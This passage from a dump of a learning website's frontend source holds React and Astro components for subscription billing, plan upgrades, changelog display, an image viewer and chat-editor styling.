className=\"inline-flex items-center justify-center rounded-md border border-gray-300 bg-white px-4 py-2 text-sm font-medium text-gray-700 shadow-xs transition-colors hover:bg-gray-50 focus:ring-2 focus:ring-black focus:ring-offset-2 focus:outline-hidden max-sm:grow\"\n                onClick={() => {\n                  setShowUpgradeModal(true);\n                }}\n              >\n                <ArrowRightLeft className=\"mr-2 h-4 w-4\" />\n                Switch Plan\n              </button>\n            )}\n            <button\n              className=\"inline-flex items-center justify-center rounded-md border border-gray-300 bg-white px-4 py-2 text-sm font-medium text-gray-700 shadow-xs transition-colors hover:bg-gray-50 focus:ring-2 focus:ring-black focus:ring-offset-2 focus:outline-hidden disabled:cursor-not-allowed disabled:opacity-50\"\n              onClick={() => {\n                createCustomerPortal({});\n              }}\n              disabled={\n                isCreatingCustomerPortal || isCreatingCustomerPortalSuccess\n              }\n            >\n              {isCreatingCustomerPortal || isCreatingCustomerPortalSuccess ? (\n                <Loader2 className=\"mr-2 h-4 w-4 animate-spin\" />\n              ) : (\n                <CreditCard className=\"mr-2 h-4 w-4\" />\n              )}\n              Manage Subscription\n            </button>\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Billing/BillingWarning.tsx",
    "content": "import { AlertTriangle, type LucideIcon } from 'lucide-react';\n\nexport type BillingWarningProps = {\n  icon?: LucideIcon;\n  message: string;\n  onButtonClick?: () => void;\n  buttonText?: string;\n  isLoading?: boolean;\n};\n\nexport function BillingWarning(props: BillingWarningProps) {\n  const {\n    message,\n    onButtonClick,\n    buttonText,\n    isLoading,\n    icon: Icon = AlertTriangle,\n  } = props;\n\n  return (\n    <div className=\"mb-6 flex items-center gap-2 rounded-lg border border-red-300 bg-red-50 p-4 text-sm text-red-600\">\n      <Icon className=\"h-5 w-5\" />\n      <span>\n        {message}\n        {buttonText && (\n          <button\n            disabled={isLoading}\n            onClick={() => {\n              onButtonClick?.();\n            }}\n            className=\"font-semibold underline underline-offset-4 disabled:cursor-not-allowed disabled:opacity-50 ml-0.5\"\n          >\n            {buttonText}\n          </button>\n        )}\n      </span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Billing/CheckSubscriptionVerification.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { getUrlParams } from '../../lib/browser';\nimport { VerifyUpgrade } from \"./VerifyUpgrade\";\n\nexport function CheckSubscriptionVerification() {\n  const [shouldVerifyUpgrade, setShouldVerifyUpgrade] = useState(false);\n\n  useEffect(() => {\n    const params = getUrlParams();\n    if (params.s !== '1') {\n      return;\n    }\n\n    setShouldVerifyUpgrade(true);\n  }, []);\n\n  if (!shouldVerifyUpgrade) {\n    return null;\n  }\n\n  return <VerifyUpgrade />;\n}\n"
  },
  {
    "path": "src/components/Billing/EmptyBillingScreen.tsx",
    "content": "import {\n  CreditCard,\n  Ellipsis,\n  HeartHandshake,\n  MessageCircleIcon,\n  SparklesIcon,\n  Zap,\n} from 'lucide-react';\n\ntype EmptyBillingScreenProps = {\n  onUpgrade: () => void;\n};\n\nconst perks = [\n  {\n    icon: Zap,\n    text: 'Unlimited AI course generations',\n  },\n  {\n    icon: MessageCircleIcon,\n    text: 'Unlimited AI Chat feature usage',\n  },\n  {\n    icon: SparklesIcon,\n    text: 'Early access to new features',\n  },\n  {\n    icon: HeartHandshake,\n    text: 'Support the development of platform',\n  },\n  {\n    icon: Ellipsis,\n    text: 'more perks coming soon!',\n  },\n];\n\nexport function EmptyBillingScreen(props: EmptyBillingScreenProps) {\n  const { onUpgrade } = props;\n\n  return (\n    <div className=\"mt-12 flex h-full w-full flex-col items-center\">\n      <CreditCard className=\"mb-3 h-12 w-12 text-gray-300\" />\n      <h3 className=\"mb-3 text-xl font-semibold text-black\">\n        No Active Subscription\n      </h3>\n\n      <p className=\"text-balance text-gray-700\">\n        Unlock pro benefits by upgrading to a subscription\n      </p>\n\n      <div className=\"my-8 flex flex-col gap-2\">\n        {perks.map((perk) => (\n          <p className=\"textsm flex items-center text-gray-600\" key={perk.text}>\n            <perk.icon className=\"mr-2 h-4 w-4 text-gray-500\" />\n            {perk.text}\n          </p>\n        ))}\n      </div>\n\n      <button\n        onClick={onUpgrade}\n        className=\"inline-flex items-center justify-center rounded-lg bg-black px-6 py-2.5 text-sm font-medium text-white transition-colors hover:opacity-80 focus:outline-hidden focus:ring-2 focus:ring-black focus:ring-offset-2\"\n      >\n        Upgrade Account\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Billing/GlobalUpgradeModal.tsx",
    "content": "import { useStore } from '@nanostores/react';\nimport {\n    hideUpgradeModal,\n    isUpgradeModalOpen,\n} from '../../stores/subscription';\nimport { UpgradeAccountModal } from './UpgradeAccountModal';\n\nexport function GlobalUpgradeModal() {\n  const isOpen = useStore(isUpgradeModalOpen);\n\n  if (!isOpen) {\n    return null;\n  }\n\n  return <UpgradeAccountModal onClose={hideUpgradeModal} />;\n}\n"
  },
  {
    "path": "src/components/Billing/UpdatePlanConfirmation.tsx",
    "content": "import { useMutation } from '@tanstack/react-query';\nimport type { USER_SUBSCRIPTION_PLAN_PRICES } from '../../queries/billing';\nimport { Modal } from '../Modal';\nimport { queryClient } from '../../stores/query-client';\nimport { useToast } from '../../hooks/use-toast';\nimport { VerifyUpgrade } from './VerifyUpgrade';\nimport { Loader2Icon } from 'lucide-react';\nimport { httpPost } from '../../lib/query-http';\n\ntype UpdatePlanBody = {\n  priceId: string;\n};\n\ntype UpdatePlanResponse = {\n  status: 'ok';\n};\n\ntype UpdatePlanConfirmationProps = {\n  planDetails: (typeof USER_SUBSCRIPTION_PLAN_PRICES)[number];\n  onClose: () => void;\n  onCancel: () => void;\n};\n\nexport function UpdatePlanConfirmation(props: UpdatePlanConfirmationProps) {\n  const { planDetails, onClose, onCancel } = props;\n\n  const toast = useToast();\n  const {\n    mutate: updatePlan,\n    isPending,\n    status,\n  } = useMutation(\n    {\n      mutationFn: (body: UpdatePlanBody) => {\n        return httpPost<UpdatePlanResponse>(\n          '/v1-update-subscription-plan',\n          body,\n        );\n      },\n      onError: (error) => {\n        console.error(error);\n        toast.error(error?.message || 'Failed to Create Customer Portal');\n      },\n    },\n    queryClient,\n  );\n\n  if (!planDetails) {\n    return null;\n  }\n\n  const selectedPrice = planDetails;\n  if (status === 'success') {\n    return <VerifyUpgrade newPriceId={selectedPrice.priceId} />;\n  }\n\n  return (\n    <Modal\n      onClose={isPending ? () => {} : onClose}\n      bodyClassName=\"rounded-xl bg-white p-6\"\n    >\n      <h3 className=\"text-xl font-bold text-black\">Subscription Update</h3>\n      <p className=\"mt-2 text-balance text-gray-600\">\n        Your plan will be updated to the{' '}\n        <b className=\"text-black\">{planDetails.interval}</b> plan, and will be\n        charged{' '}\n        <b className=\"text-black\">\n          ${selectedPrice.amount}/{selectedPrice.interval}\n        </b>\n        .\n      </p>\n\n      <div className=\"mt-6 grid grid-cols-2 gap-3\">\n        <button\n          className=\"rounded-md border border-gray-200 py-2 text-sm font-semibold transition-colors hover:bg-gray-50 disabled:opacity-50\"\n          onClick={onCancel}\n          disabled={isPending}\n        >\n          Cancel\n        </button>\n        <button\n          className=\"flex items-center justify-center rounded-md bg-purple-600 py-2 text-sm font-semibold text-white transition-colors hover:bg-purple-500 disabled:opacity-50\"\n          disabled={isPending}\n          onClick={() => {\n            updatePlan({ priceId: selectedPrice.priceId });\n          }}\n        >\n          {isPending && (\n            <Loader2Icon className=\"mr-2 size-4 animate-spin stroke-[2.5]\" />\n          )}\n          {!isPending && 'Confirm'}\n        </button>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Billing/UpgradeAccountModal.tsx",
    "content": "import { useMutation, useQuery } from '@tanstack/react-query';\nimport type { LucideIcon } from 'lucide-react';\nimport {\n  Archive,\n  Crown,\n  Loader2,\n  Map,\n  MessageCircleIcon,\n  X,\n  Zap,\n} from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { getUser } from '../../lib/jwt';\nimport { httpPost } from '../../lib/query-http';\nimport {\n  billingDetailsOptions,\n  USER_SUBSCRIPTION_PLAN_PRICES,\n  type AllowedSubscriptionInterval,\n} from '../../queries/billing';\nimport { queryClient } from '../../stores/query-client';\nimport { Modal } from '../Modal';\nimport { UpdatePlanConfirmation } from './UpdatePlanConfirmation';\n\ntype Perk = {\n  icon: LucideIcon;\n  title: string;\n  description: string;\n  highlight?: boolean;\n};\n\nconst PREMIUM_PERKS: Perk[] = [\n  {\n    icon: Zap,\n    title: 'Unlimited Courses and Guides',\n    description: 'No limits on number of courses, guides, and quizzes',\n    highlight: true,\n  },\n  {\n    icon: MessageCircleIcon,\n    title: 'Extended Chat Limits',\n    description: 'Chat with AI Tutor and Roadmaps without limits',\n  },\n  {\n    icon: Archive,\n    title: 'Chat History',\n    description: 'Access your AI Tutor and roadmap chats later',\n  },\n  {\n    icon: Map,\n    title: 'Custom Roadmaps',\n    description: 'Create upto 100 custom roadmaps',\n  },\n];\n\ntype CreateSubscriptionCheckoutSessionBody = {\n  priceId: string;\n  success?: string;\n  cancel?: string;\n};\n\ntype CreateSubscriptionCheckoutSessionResponse = {\n  checkoutUrl: string;\n};\n\ntype UpgradeAccountModalProps = {\n  onClose: () => void;\n  success?: string;\n  cancel?: string;\n};\n\nexport function UpgradeAccountModal(props: UpgradeAccountModalProps) {\n  const { onClose, success, cancel } = props;\n\n  const [selectedPlan, setSelectedPlan] =\n    useState<AllowedSubscriptionInterval>('year');\n  const [isUpdatingPlan, setIsUpdatingPlan] = useState(false);\n\n  const user = getUser();\n\n  const {\n    data: userBillingDetails,\n    isLoading,\n    error: billingError,\n  } = useQuery(billingDetailsOptions(), queryClient);\n\n  const toast = useToast();\n\n  const {\n    mutate: createCheckoutSession,\n    isPending: isCreatingCheckoutSession,\n  } = useMutation(\n    {\n      mutationFn: (body: CreateSubscriptionCheckoutSessionBody) => {\n        return httpPost<CreateSubscriptionCheckoutSessionResponse>(\n          '/v1-create-subscription-checkout-session',\n          body,\n        );\n      },\n      onSuccess: (data) => {\n        window.location.href = data.checkoutUrl;\n      },\n      onError: (error) => {\n        console.error(error);\n        toast.error(error?.message || 'Failed to create checkout session');\n      },\n    },\n    queryClient,\n  );\n\n  const isCanceled = ['canceled', 'incomplete_expired'].includes(\n    userBillingDetails?.status || '',\n  );\n\n  const selectedPlanDetails = USER_SUBSCRIPTION_PLAN_PRICES.find(\n    (plan) => plan.interval === selectedPlan,\n  );\n  const currentPlanPriceId = isCanceled ? null : userBillingDetails?.priceId;\n  const currentPlan = USER_SUBSCRIPTION_PLAN_PRICES.find(\n    (plan) => plan.priceId === currentPlanPriceId,\n  );\n\n  const monthlyPlan = USER_SUBSCRIPTION_PLAN_PRICES.find(\n    (p) => p.interval === 'month',\n  );\n  const yearlyPlan = USER_SUBSCRIPTION_PLAN_PRICES.find(\n    (p) => p.interval === 'year',\n  );\n\n  useEffect(() => {\n    if (!currentPlan) {\n      return;\n    }\n    setSelectedPlan(currentPlan.interval);\n  }, [currentPlan]);\n\n  useEffect(() => {\n    window?.fireEvent({\n      action: 'tutor_pricing',\n      category: 'ai_tutor',\n      label: 'Clicked Upgrade to Pro',\n    });\n  }, []);\n\n  if (!user) {\n    return null;\n  }\n\n  if (isLoading) {\n    return (\n      <Modal\n        onClose={onClose}\n        bodyClassName=\"p-0 bg-white\"\n        wrapperClassName=\"h-auto rounded-lg max-w-md w-full mx-4\"\n        overlayClassName=\"items-center\"\n        hasCloseButton={false}\n      >\n        <div className=\"flex h-48 items-center justify-center\">\n          <Loader2 className=\"h-6 w-6 animate-spin text-yellow-600\" />\n        </div>\n      </Modal>\n    );\n  }\n\n  if (billingError) {\n    return (\n      <Modal\n        onClose={onClose}\n        bodyClassName=\"p-6 bg-white\"\n        wrapperClassName=\"h-auto rounded-lg max-w-md w-full mx-4\"\n        overlayClassName=\"items-center\"\n        hasCloseButton={true}\n      >\n        <div className=\"text-center\">\n          <div className=\"mx-auto mb-4 flex h-10 w-10 items-center justify-center rounded-full bg-red-100\">\n            <X className=\"h-5 w-5 text-red-600\" />\n          </div>\n          <h3 className=\"mb-2 text-lg font-medium text-gray-900\">Error</h3>\n          <p className=\"text-sm text-gray-600\">\n            {billingError?.message ||\n              'An error occurred while loading billing details.'}\n          </p>\n        </div>\n      </Modal>\n    );\n  }\n\n  if (isUpdatingPlan && selectedPlanDetails) {\n    return (\n      <UpdatePlanConfirmation\n        planDetails={selectedPlanDetails}\n        onClose={() => setIsUpdatingPlan(false)}\n        onCancel={() => setIsUpdatingPlan(false)}\n      />\n    );\n  }\n\n  const handlePlanSelect = (plan: typeof selectedPlanDetails) => {\n    if (!plan) return;\n\n    setSelectedPlan(plan.interval);\n\n    if (!currentPlanPriceId) {\n      const currentUrlPath = window.location.pathname;\n      const encodedCurrentUrlPath = encodeURIComponent(currentUrlPath);\n      const successPage = `/thank-you?next=${encodedCurrentUrlPath}&s=1`;\n\n      window?.fireEvent({\n        action: 'tutor_checkout',\n        category: 'ai_tutor',\n        label: 'Checkout Started',\n      });\n\n      createCheckoutSession(\n        {\n          priceId: plan.priceId,\n          success: success || successPage,\n          cancel: cancel || `${currentUrlPath}?s=0`,\n        },\n        {\n          onSuccess: () => {\n            window?.fireEvent({\n              action: `tutor_checkout_${plan.interval === 'month' ? 'mo' : 'an'}`,\n              category: 'ai_tutor',\n              label: `${plan.interval} Plan Checkout Started`,\n            });\n          },\n        },\n      );\n      return;\n    }\n    setIsUpdatingPlan(true);\n  };\n\n  return (\n    <Modal\n      onClose={onClose}\n      bodyClassName=\"p-0 bg-white\"\n      wrapperClassName=\"h-auto rounded-lg max-w-md w-full mx-4\"\n      overlayClassName=\"items-center\"\n      hasCloseButton={false}\n    >\n      <div className=\"relative\">\n        {/* Close button */}\n        <button\n          onClick={onClose}\n          className=\"absolute top-3 right-3 z-10 flex h-6 w-6 items-center justify-center rounded-full text-gray-400 hover:text-gray-600\"\n        >\n          <X className=\"h-4 w-4\" />\n        </button>\n\n        {/* Header */}\n        <div className=\"border-b border-gray-100 px-6 py-6 text-center\">\n          <div className=\"mx-auto mb-3 flex h-12 w-12 items-center justify-center rounded-full border-2 border-yellow-200 bg-yellow-50\">\n            <Crown className=\"h-6 w-6 text-yellow-600\" />\n          </div>\n          <h1 className=\"text-xl font-semibold text-gray-900\">\n            Upgrade to Premium\n          </h1>\n          <p className=\"mt-1 text-sm text-gray-600\">\n            Unlock all features and supercharge your learning\n          </p>\n        </div>\n\n        {/* Features List */}\n        <div className=\"px-6 py-4\">\n          <div className=\"space-y-3\">\n            {PREMIUM_PERKS.map((perk, index) => {\n              const Icon = perk.icon;\n              return (\n                <div key={index} className=\"flex items-start space-x-3\">\n                  <Icon className=\"relative top-[0.5px] mt-1 size-4 text-gray-600\" />\n                  <div className=\"min-w-0 flex-1\">\n                    <p className=\"mb-0.5 text-sm font-medium text-gray-900\">\n                      {perk.title}\n                    </p>\n                    <p className=\"text-xs text-gray-600\">{perk.description}</p>\n                  </div>\n                </div>\n              );\n            })}\n          </div>\n        </div>\n\n        {/* Buttons */}\n        <div className=\"border-t border-gray-100 px-6 py-4\">\n          <div className=\"space-y-2\">\n            {/* Yearly Button */}\n            {yearlyPlan && (\n              <button\n                onClick={() => handlePlanSelect(yearlyPlan)}\n                disabled={\n                  isCreatingCheckoutSession || currentPlan?.interval === 'year'\n                }\n                className={`flex h-11 w-full items-center justify-center rounded-lg px-4 text-sm font-medium transition-colors disabled:opacity-50 ${\n                  currentPlan?.interval === 'year'\n                    ? 'cursor-not-allowed bg-yellow-300 text-gray-700'\n                    : 'bg-yellow-400 text-black hover:bg-yellow-500'\n                }`}\n              >\n                {isCreatingCheckoutSession && selectedPlan === 'year' ? (\n                  <Loader2 className=\"mx-auto h-4 w-4 animate-spin\" />\n                ) : (\n                  <div className=\"flex w-full items-center justify-between text-left\">\n                    <span>Yearly Plan - ${yearlyPlan.amount}/year</span>\n                    {currentPlan?.interval === 'year' ? (\n                      <span className=\"rounded bg-green-600 px-2 py-1 text-xs text-white\">\n                        Current Plan\n                      </span>\n                    ) : (\n                      monthlyPlan && (\n                        <span className=\"rounded bg-yellow-600 px-2 py-1 text-xs text-white\">\n                          {Math.round(\n                            (monthlyPlan.amount * 12 - yearlyPlan.amount) /\n                              monthlyPlan.amount,\n                          )}{' '}\n                          months free\n                        </span>\n                      )\n                    )}\n                  </div>\n                )}\n              </button>\n            )}\n\n            {/* Monthly Button */}\n            {monthlyPlan && (\n              <button\n                onClick={() => handlePlanSelect(monthlyPlan)}\n                disabled={\n                  isCreatingCheckoutSession || currentPlan?.interval === 'month'\n                }\n                className={`flex h-11 w-full items-center justify-center rounded-lg border px-4 text-sm font-medium transition-colors disabled:opacity-50 ${\n                  currentPlan?.interval === 'month'\n                    ? 'cursor-not-allowed border-yellow-300 bg-yellow-50 text-gray-700'\n                    : 'border-yellow-400 bg-yellow-50 text-black hover:bg-yellow-100'\n                }`}\n              >\n                {isCreatingCheckoutSession && selectedPlan === 'month' ? (\n                  <Loader2 className=\"mx-auto h-4 w-4 animate-spin\" />\n                ) : (\n                  <div className=\"flex w-full items-center justify-between text-left\">\n                    <span>Monthly Plan - ${monthlyPlan.amount}/month</span>\n                    {currentPlan?.interval === 'month' && (\n                      <span className=\"rounded bg-black px-2 py-1 text-xs text-white\">\n                        Current Plan\n                      </span>\n                    )}\n                  </div>\n                )}\n              </button>\n            )}\n          </div>\n\n          {/* Trust indicators */}\n          <div className=\"mt-4 text-center\">\n            <p className=\"text-xs text-gray-500\">\n              By upgrading you agree to our{' '}\n              <a href=\"/terms\" className=\"text-yellow-600 hover:underline\">\n                terms and conditions\n              </a>\n            </p>\n          </div>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Billing/VerifyUpgrade.tsx",
    "content": "import { useEffect } from 'react';\nimport { Loader2, CheckCircle } from 'lucide-react';\nimport { useQuery } from '@tanstack/react-query';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { queryClient } from '../../stores/query-client';\nimport { Modal } from '../Modal';\nimport { deleteUrlParam } from '../../lib/browser';\n\ntype VerifyUpgradeProps = {\n  newPriceId?: string;\n};\n\nexport function VerifyUpgrade(props: VerifyUpgradeProps) {\n  const { newPriceId } = props;\n\n  const { data: userBillingDetails } = useQuery(\n    {\n      ...billingDetailsOptions(),\n      refetchInterval: 1000,\n    },\n    queryClient,\n  );\n\n  useEffect(() => {\n    if (!userBillingDetails) {\n      return;\n    }\n\n    if (\n      userBillingDetails.status === 'active' &&\n      (newPriceId ? userBillingDetails.priceId === newPriceId : true)\n    ) {\n      if (!newPriceId) {\n        // it means that the user is subscribing for the first time\n        // not changing the plan\n        window?.fireEvent({\n          action: `tutor_purchase_${userBillingDetails.interval === 'month' ? 'mo' : 'an'}`,\n          category: 'ai_tutor',\n          label: `${userBillingDetails.interval} Plan Purchased`,\n        });\n      }\n\n      deleteUrlParam('s');\n      window.location.reload();\n    }\n  }, [userBillingDetails]);\n\n  useEffect(() => {\n    // it means that the user is changing the plan\n    // not subscribing for the first time\n    if (newPriceId) {\n      return;\n    }\n\n    window?.fireEvent({\n      action: 'tutor_purchase',\n      category: 'ai_tutor',\n      label: 'Subscription Activated',\n    });\n    window?.fireEvent({\n      action: 'tutor_ty',\n      category: 'ai_tutor',\n      label: 'Thank You Page Visited',\n    });\n  }, [newPriceId]);\n\n  return (\n    <Modal\n      // it's an unique modal, so we don't need to close it\n      // user can close it by refreshing the page\n      onClose={() => {}}\n      bodyClassName=\"rounded-xl bg-white p-6\"\n    >\n      <div className=\"mb-4 flex flex-col items-center text-center\">\n        <CheckCircle className=\"mb-3 h-12 w-12 text-green-600\" />\n        <h3 className=\"text-xl font-bold text-black\">Subscription Activated</h3>\n      </div>\n\n      <p className=\"mt-2 text-center text-balance text-gray-600\">\n        Your subscription has been activated successfully.\n      </p>\n\n      <p className=\"mt-4 text-center text-balance text-gray-600\">\n        It might take a minute for the changes to reflect. We will{' '}\n        <b className=\"text-black\">reload</b> the page for you.\n      </p>\n\n      <div className=\"my-6 flex animate-pulse items-center justify-center gap-2\">\n        <Loader2 className=\"size-4 animate-spin stroke-[2.5px] text-green-600\" />\n        <span className=\"text-gray-600\">Please wait...</span>\n      </div>\n\n      <p className=\"text-center text-sm text-gray-500\">\n        If it takes longer than expected, please email us at{' '}\n        <a\n          href=\"mailto:info@roadmap.sh\"\n          className=\"text-blue-600 underline underline-offset-2 hover:text-blue-700\"\n        >\n          info@roadmap.sh\n        </a>\n        .\n      </p>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Changelog/ChangelogItem.astro",
    "content": "---\nimport { DateTime } from 'luxon';\nimport ChangelogImages from '../ChangelogImages';\nimport type { ChangelogDocument } from '../../queries/changelog';\n\ninterface Props {\n  changelog: ChangelogDocument;\n}\n\nconst { changelog } = Astro.props;\n\nconst formattedDate = DateTime.fromISO(changelog.createdAt).toFormat(\n  'dd LLL, yyyy',\n);\n---\n\n<div class='relative mb-6' id={changelog._id}>\n  <span class='absolute top-2 -left-6 h-2 w-2 shrink-0 rounded-full bg-gray-300'\n  ></span>\n\n  <div\n    class='mb-3 flex flex-col items-start gap-0.5 sm:flex-row sm:items-center sm:gap-2'\n  >\n    <span class='shrink-0 text-xs tracking-wide text-gray-400'>\n      {formattedDate}\n    </span>\n    <span class='truncate text-base font-medium text-balance'>\n      {changelog.title}\n    </span>\n  </div>\n\n  <div class='rounded-xl border bg-white p-6'>\n    {\n      changelog.images && (\n        <div class='-mx-6 mb-5 hidden sm:block'>\n          <ChangelogImages images={changelog.images} client:load />\n        </div>\n      )\n    }\n\n    <div\n      class='prose prose-sm [&_li_p]:my-0 prose-h2:mt-3 prose-h2:text-lg prose-h2:font-medium prose-p:mb-0 prose-blockquote:font-normal prose-blockquote:text-gray-500 prose-ul:my-0 prose-ul:rounded-lg prose-ul:bg-gray-100 prose-ul:px-4 prose-ul:py-4 prose-ul:pl-7 prose-img:mt-0 prose-img:rounded-lg [&>blockquote>p]:mt-0 [&>ul]:mt-3 [&>ul>li]:my-0 [&>ul>li]:mb-1'\n      set:html={changelog.description}\n    />\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/Changelog/ChangelogLaunch.astro",
    "content": "---\nimport { DateTime } from 'luxon';\n\nconst formattedDate = DateTime.fromISO('2024-09-13').toFormat('dd LLL, yyyy');\n---\n\n<div class='relative mb-6'>\n  <span\n    class='absolute -left-6 top-2 h-2 w-2 shrink-0 rounded-full bg-gray-300'\n  ></span>\n\n  <div\n    class='mb-3 flex flex-col items-start gap-0.5 sm:flex-row sm:items-center sm:gap-2'\n  >\n    <span class='shrink-0 text-xs tracking-wide text-gray-400'>\n      {formattedDate}\n    </span>\n    <span class='truncate text-balance text-base font-medium'>\n      Changelog page is launched\n    </span>\n  </div>\n\n  <div\n    class='flex flex-col items-center justify-center gap-2 sm:gap-2 rounded-xl border bg-white px-8 py-12 text-center'\n  >\n    <img src='/img/gifs/rocket.gif' class='w-[70px] mb-4' />\n    <h2 class='text-balance text-xl font-medium'>Changelog page is launched</h2>\n    <p class='font-normal text-balance text-gray-400 text-sm sm:text-base'>\n      We will be sharing a selected list of updates, improvements, and fixes made to\n      the website. Stay tuned!\n    </p>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/ChangelogBanner.astro",
    "content": "---\nimport { listChangelog } from '../queries/changelog';\nimport { DateTime } from 'luxon';\nimport AstroIcon from './AstroIcon.astro';\n\nconst changelogs = await listChangelog({ limit: 10 });\n---\n\n<div class='border-t bg-white py-6 text-left sm:py-16 sm:text-center'>\n  <div class='container max-w-[650px]!'>\n    <p class='text-2xl font-bold sm:text-5xl'>\n      <img\n        src='/img/gifs/rocket.gif'\n        alt='Rocket'\n        class='mr-2 hidden h-12 w-12 sm:inline'\n      />\n      Actively Maintained\n    </p>\n    <p\n      class='mt-1 mb-2 text-sm leading-relaxed text-gray-600 sm:my-5 sm:text-lg'\n    >\n      We are always improving our content, adding new resources and adding\n      features to enhance your learning experience.\n    </p>\n\n    <div class='relative mt-2 text-left sm:mt-8'>\n      <div\n        class='absolute inset-y-0 left-[120px] hidden w-px translate-x-[5.75px] bg-gray-300 sm:block'\n      >\n      </div>\n      <ul class='relative flex flex-col gap-4 py-4'>\n        {\n          changelogs.map((changelog) => {\n            const formattedDate = DateTime.fromISO(\n              changelog.createdAt,\n            ).toFormat('dd LLL, yyyy');\n            return (\n              <li class='relative'>\n                <a\n                  href={`/changelog#${changelog._id}`}\n                  class='flex flex-col items-start sm:flex-row sm:items-center'\n                >\n                  <span class='shrink-0 pr-0 text-right text-sm tracking-wide text-gray-400 sm:w-[120px] sm:pr-4'>\n                    {formattedDate}\n                  </span>\n                  <span class='hidden h-3 w-3 shrink-0 rounded-full bg-gray-300 sm:block' />\n                  <span class='text-base font-medium text-balance text-gray-900 sm:pl-8'>\n                    {changelog.title}\n                  </span>\n                </a>\n              </li>\n            );\n          })\n        }\n      </ul>\n    </div>\n    <div\n      class='mt-2 flex flex-col gap-2 sm:mt-8 sm:flex-row sm:items-center sm:justify-center'\n    >\n      <a\n        href='/changelog'\n        class='inline-block rounded-lg border border-black bg-black px-4 py-2 text-sm text-white transition-colors hover:bg-gray-700 sm:rounded-full sm:px-6 sm:text-base'\n      >\n        View Full Changelog\n      </a>\n      <button\n        data-guest-required\n        data-popup='login-popup'\n        class='flex flex-row items-center gap-2 rounded-lg border border-black bg-white px-4 py-2 text-sm text-black transition-all hover:bg-black hover:text-white sm:rounded-full sm:pr-5 sm:pl-4 sm:text-base'\n      >\n        <AstroIcon icon='bell' class='h-5 w-5' />\n        Subscribe for Notifications\n      </button>\n    </div>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/ChangelogImages.tsx",
    "content": "import { ChevronLeft, ChevronRight } from 'lucide-react';\nimport React, { useState, useEffect, useCallback } from 'react';\nimport type { ChangelogImage } from '../queries/changelog';\n\ninterface ChangelogImagesProps {\n  images: ChangelogImage[];\n}\n\nconst ChangelogImages: React.FC<ChangelogImagesProps> = ({ images }) => {\n  const [enlargedImage, setEnlargedImage] = useState<string | null>(null);\n  const imageArray = images.map((image) => [image.title, image.url]);\n\n  const handleImageClick = (src: string) => {\n    setEnlargedImage(src);\n  };\n\n  const handleCloseEnlarged = () => {\n    setEnlargedImage(null);\n  };\n\n  const handleNavigation = useCallback(\n    (direction: 'prev' | 'next') => {\n      if (!enlargedImage) return;\n      const currentIndex = imageArray.findIndex(\n        ([_, src]) => src === enlargedImage,\n      );\n      let newIndex;\n      if (direction === 'prev') {\n        newIndex = currentIndex > 0 ? currentIndex - 1 : imageArray.length - 1;\n      } else {\n        newIndex = currentIndex < imageArray.length - 1 ? currentIndex + 1 : 0;\n      }\n      setEnlargedImage(imageArray[newIndex][1]);\n    },\n    [enlargedImage, imageArray],\n  );\n\n  useEffect(() => {\n    const handleKeyDown = (event: KeyboardEvent) => {\n      if (event.key === 'Escape') {\n        handleCloseEnlarged();\n      } else if (event.key === 'ArrowLeft') {\n        handleNavigation('prev');\n      } else if (event.key === 'ArrowRight') {\n        handleNavigation('next');\n      }\n    };\n\n    window.addEventListener('keydown', handleKeyDown);\n    return () => window.removeEventListener('keydown', handleKeyDown);\n  }, [handleNavigation]);\n\n  return (\n    <>\n      <div className=\"flex gap-3 px-6 pb-1\">\n        {imageArray.map(([title, src]) => (\n          <div\n            key={title}\n            className=\"group relative cursor-pointer overflow-hidden rounded-lg transition hover:scale-105\"\n            onClick={() => handleImageClick(src)}\n          >\n            <img\n              src={src}\n              alt={title}\n              className=\"h-[120px] w-full object-cover object-left-top\"\n            />\n            <span className=\"absolute inset-0 bg-linear-to-b from-transparent to-black/40 group-hover:opacity-0\" />\n\n            <div className=\"absolute inset-x-0 top-full flex cursor-pointer items-center justify-center bg-black/50 px-2 py-0.5 text-center text-xs font-medium text-white opacity-0 group-hover:inset-y-0 group-hover:opacity-100\">\n              <span className=\"rounded-sm bg-black px-1 py-0.5\">{title}</span>\n            </div>\n          </div>\n        ))}\n      </div>\n      {enlargedImage && (\n        <div\n          className=\"fixed inset-0 z-999 flex items-center justify-center bg-black/75\"\n          onClick={handleCloseEnlarged}\n        >\n          <img\n            src={enlargedImage}\n            alt=\"Enlarged view\"\n            className=\"max-h-[90%] max-w-[90%] rounded-xl object-contain\"\n          />\n          <button\n            className=\"absolute top-1/2 left-4 -translate-y-1/2 transform rounded-full bg-white/50 p-2 hover:bg-white/100\"\n            onClick={(e) => {\n              e.stopPropagation();\n              handleNavigation('prev');\n            }}\n          >\n            <ChevronLeft size={24} />\n          </button>\n          <button\n            className=\"absolute top-1/2 right-4 -translate-y-1/2 transform rounded-full bg-white/50 p-2 hover:bg-white/100\"\n            onClick={(e) => {\n              e.stopPropagation();\n              handleNavigation('next');\n            }}\n          >\n            <ChevronRight size={24} />\n          </button>\n        </div>\n      )}\n    </>\n  );\n};\n\nexport default ChangelogImages;\n"
  },
  {
    "path": "src/components/ChatEditor/ChatEditor.css",
    "content": ".chat-editor .tiptap p.is-editor-empty:first-child::before {\n  color: #adb5bd;\n  content: attr(data-placeholder);\n  float: left;\n  height: 0;\n  pointer-events: none;\n}\n\n.chat-editor .tiptap p:first-child.is-empty::before {\n  color: #adb5bd;\n  content: attr(data-placeholder);\n  float: left;\n  height: 0;\n  pointer-events: none;\n}\n\n.chat-editor .tiptap [data-type='variable'] {\n  font-size: 12px;\n  font-weight: 500;\n  line-height: 1.5;\n  padding: 2px 4px;\n  border-radius: 8px;\n  background-color: #f0f5ff;\n  color: #2c5df1;\n}\n"
  },
  {
    "path": "src/components/ChatEditor/ChatEditor.tsx",
